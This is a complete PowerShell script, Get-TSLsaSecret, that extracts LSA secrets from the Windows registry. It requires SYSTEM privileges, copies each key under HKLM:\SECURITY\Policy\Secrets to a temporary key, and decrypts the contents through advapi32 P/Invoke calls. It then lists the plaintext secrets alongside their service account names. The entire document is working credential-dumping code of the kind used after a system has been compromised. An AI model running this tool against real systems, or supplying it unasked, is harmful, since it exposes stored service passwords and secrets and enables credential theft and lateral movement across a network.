Get secrets from registry

function Get-TSLsaSecret {
  <#
    .SYNOPSIS
    Displays LSA Secrets from local computer.

    .DESCRIPTION
    Extracts LSA secrets from HKLM:\\SECURITY\Policy\Secrets\ on a local computer.
    The Get-TSLsaSecret command must be run as NT AUTHORITY\SYSTEM.
    Stolen from www.powershell.nu/wp-content/uploads/2012/03/Get-TSLSASecret.txt

    .PARAMETER Key
    Name of Key to Extract. if the parameter is not used, all secrets will be displayed.

    .EXAMPLE
    Get-TSLsaSecret

    .EXAMPLE
    Get-TSLsaSecret -Key KeyName
  #>

  param(
    [Parameter(Position = 0,
      ValueFromPipeLine= $true
    )]
    [Alias("RegKey")]
    [string[]]$RegistryKey
  )

Begin {
# Check NT AUTHORITY\SYSTEM
if( -not((whoami) -eq "nt authority\system")) {
  Write-Warning -Message "Access Denied, run as NT AUTHORITY\SYSTEM"
  Break
}

if([string]::IsNullOrEmpty($registryKey)) {
  [string[]]$registryKey = (Split-Path (Get-ChildItem HKLM:\SECURITY\Policy\Secrets | Select -ExpandProperty Name) -Leaf)
}

$signature = @"
[StructLayout(LayoutKind.Sequential)]
public struct LSA_UNICODE_STRING
{
  public UInt16 Length;
  public UInt16 MaximumLength;
  public IntPtr Buffer;
}

[StructLayout(LayoutKind.Sequential)]
public struct LSA_OBJECT_ATTRIBUTES
{
  public int Length;
  public IntPtr RootDirectory;
  public LSA_UNICODE_STRING ObjectName;
  public uint Attributes;
  public IntPtr SecurityDescriptor;
  public IntPtr SecurityQualityOfService;
}

public enum LSA_AccessPolicy : long
{
  POLICY_VIEW_LOCAL_INFORMATION = 0x00000001L,
  POLICY_VIEW_AUDIT_INFORMATION = 0x00000002L,
  POLICY_GET_PRIVATE_INFORMATION = 0x00000004L,
  POLICY_TRUST_ADMIN = 0x00000008L,
  POLICY_CREATE_ACCOUNT = 0x00000010L,
  POLICY_CREATE_SECRET = 0x00000020L,
  POLICY_CREATE_PRIVILEGE = 0x00000040L,
  POLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080L,
  POLICY_SET_AUDIT_REQUIREMENTS = 0x00000100L,
  POLICY_AUDIT_LOG_ADMIN = 0x00000200L,
  POLICY_SERVER_ADMIN = 0x00000400L,
  POLICY_LOOKUP_NAMES = 0x00000800L,
  POLICY_NOTIFICATION = 0x00001000L
}

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaRetrievePrivateData(
  IntPtr PolicyHandle,
  ref LSA_UNICODE_STRING KeyName,
  out IntPtr PrivateData
);

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaStorePrivateData(
  IntPtr policyHandle,
  ref LSA_UNICODE_STRING KeyName,
  ref LSA_UNICODE_STRING PrivateData
);

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaOpenPolicy(
  ref LSA_UNICODE_STRING SystemName,
  ref LSA_OBJECT_ATTRIBUTES ObjectAttributes,
  uint DesiredAccess,
  out IntPtr PolicyHandle
);

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaNtStatusToWinError(
  uint status
);

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaClose(
  IntPtr policyHandle
);

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaFreeMemory(
  IntPtr buffer
);
"@

Add-Type -MemberDefinition $signature -Name LSAUtil -Namespace LSAUtil
}

  Process{
    foreach($key in $RegistryKey) {
      $regPath = "HKLM:\\SECURITY\Policy\Secrets\" + $key
      $tempRegPath = "HKLM:\\SECURITY\Policy\Secrets\MySecret"
      $myKey = "MySecret"
      if(Test-Path $regPath) {
        Try {
          Get-ChildItem $regPath -ErrorAction Stop | Out-Null
        }
        Catch {
          Write-Error -Message "Access to registry Denied, run as NT AUTHORITY\SYSTEM" -Category PermissionDenied
          Break
        }
        if(Test-Path $tempRegPath) {
          Remove-Item -Path $tempRegPath -Recurse -Force -ErrorAction Stop
        }
        if(Test-Path $regPath) {
          # Copy Key
          "CurrVal","OldVal","OupdTime","CupdTime","SecDesc" | ForEach-Object {
            $copyFrom = "HKLM\SECURITY\Policy\Secrets\" + $key + "\" + $_
            $copyTo = "HKLM\SECURITY\Policy\Secrets\MySecret\" + $_
            $regCopy = reg COPY $copyFrom $copyTo /s /f
          }
        }
        # Attributes
        $objectAttributes = New-Object LSAUtil.LSAUtil+LSA_OBJECT_ATTRIBUTES
        $objectAttributes.Length = 0
        $objectAttributes.RootDirectory = [IntPtr]::Zero
        $objectAttributes.Attributes = 0
        $objectAttributes.SecurityDescriptor = [IntPtr]::Zero
        $objectAttributes.SecurityQualityOfService = [IntPtr]::Zero

        # localSystem
        $localsystem = New-Object LSAUtil.LSAUtil+LSA_UNICODE_STRING
        $localsystem.Buffer = [IntPtr]::Zero
        $localsystem.Length = 0
        $localsystem.MaximumLength = 0

        # Secret Name
        $secretName = New-Object LSAUtil.LSAUtil+LSA_UNICODE_STRING
        $secretName.Buffer = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($myKey)
        $secretName.Length = [Uint16]($myKey.Length * [System.Text.UnicodeEncoding]::CharSize)
        $secretName.MaximumLength = [Uint16](($myKey.Length + 1) * [System.Text.UnicodeEncoding]::CharSize)

        # Get LSA PolicyHandle
        $lsaPolicyHandle = [IntPtr]::Zero
        [LSAUtil.LSAUtil+LSA_AccessPolicy]$access = [LSAUtil.LSAUtil+LSA_AccessPolicy]::POLICY_GET_PRIVATE_INFORMATION
        $lsaOpenPolicyHandle = [LSAUtil.LSAUtil]::LSAOpenPolicy([ref]$localSystem, [ref]$objectAttributes, $access, [ref]$lsaPolicyHandle)

        if($lsaOpenPolicyHandle -ne 0) {
          Write-Warning "lsaOpenPolicyHandle Windows Error Code: $lsaOpenPolicyHandle"
          Continue
        }

        # Retrieve Private Data
        $privateData = [IntPtr]::Zero
        $ntsResult = [LSAUtil.LSAUtil]::LsaRetrievePrivateData($lsaPolicyHandle, [ref]$secretName, [ref]$privateData)

        $lsaClose = [LSAUtil.LSAUtil]::LsaClose($lsaPolicyHandle)

        $lsaNtStatusToWinError = [LSAUtil.LSAUtil]::LsaNtStatusToWinError($ntsResult)

        if($lsaNtStatusToWinError -ne 0) {
          Write-Warning "lsaNtsStatusToWinError: $lsaNtStatusToWinError"
        }

        [LSAUtil.LSAUtil+LSA_UNICODE_STRING]$lusSecretData =
        [LSAUtil.LSAUtil+LSA_UNICODE_STRING][System.Runtime.InteropServices.marshal]::PtrToStructure($privateData, [LSAUtil.LSAUtil+LSA_UNICODE_STRING])

        Try {
          [string]$value = [System.Runtime.InteropServices.marshal]::PtrToStringAuto($lusSecretData.Buffer)
          $value = $value.SubString(0, ($lusSecretData.Length / 2))
        }
        Catch {
          $value = ""
        }

        if($key -match "^_SC_") {
          # Get Service Account
          $serviceName = $key -Replace "^_SC_"
          Try {
            # Get Service Account
            $service = Get-WmiObject -Query "SELECT StartName FROM Win32_Service WHERE Name = '$serviceName'" -ErrorAction Stop
            $account = $service.StartName
          }
          Catch {
            $account = ""
          }
        } else {
          $account = ""
        }

        # Return Object
        New-Object PSObject -Property @{
          Name = $key;
          Secret = $value;
          Account = $Account
        } | Select-Object Name, Account, Secret, @{Name="ComputerName";Expression={$env:COMPUTERNAME}}

        if(Test-Path $tempRegPath) {
          Remove-Item -Path $tempRegPath -Recurse -Force -ErrorAction Stop
        }
      } else {
        Write-Error -Message "Path not found: $regPath" -Category ObjectNotFound
      }
    }
  }
}